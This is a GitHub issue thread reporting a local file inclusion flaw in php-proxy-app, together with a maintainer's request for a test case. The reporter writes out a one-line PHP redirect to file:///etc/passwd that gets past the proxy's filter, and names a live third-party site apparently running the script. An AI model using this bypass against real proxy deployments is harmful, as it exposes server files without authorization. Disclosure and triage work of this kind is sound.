search

Athlon1600 / php-proxy-app

Web Proxy Application built on php-proxy library ready to be installed on your server
https://www.php-proxy.com/
MIT License
821 stars 517 forks source link

Local File Inclusion - Any Version of php proxy #161

Open pasya1912 opened 5 years ago

pasya1912 commented 5 years ago

We know https://unblockvideos.com/ using php-proxy script. im trying to put file:///etc/passwd on "url". but it's contain error : Could not resolve host : file i think this is a filter/waf. and there is a easy way to bypass it. create php file contains : <?php header('location: file:///etc/passwd'); ?> then upload it to your server. as a sample this is my serper : https://onlinehmp.com/content/banner/zotac.php

Put it on proxy url and you will get the /etc/passwd file Thx, Regards !

webaddicto commented 5 years ago

Can you paste here the content of the URL:

https://onlinehmp.com/content/banner/zotac.php

So I can test it locally.

Thanks!

pasya1912 commented 5 years ago

<?PHP Header('location: file:///etc/passwd'); ?>

Pada tanggal Kam, 20 Jun 2019 21.07, Web Addicto notifications@github.com menulis:

Can you paste here the content of the URL:

https://onlinehmp.com/content/banner/zotac.php

So I can test it locally.

Thanks!

— You are receiving this because you authored the thread. Reply to this email directly, view it on GitHub https://github.com/Athlon1600/php-proxy-app/issues/161?email_source=notifications&email_token=AIYGWACY5VBD72AHKHAIXGDP3OFJPA5CNFSM4HP33FGKYY3PNVWWK3TUL52HS4DFVREXG43VMVBW63LNMVXHJKTDN5WW2ZLOORPWSZGODYFQSYI#issuecomment-504039777, or mute the thread https://github.com/notifications/unsubscribe-auth/AIYGWAFO43MZEMHQYLIPBOLP3OFJPANCNFSM4HP33FGA .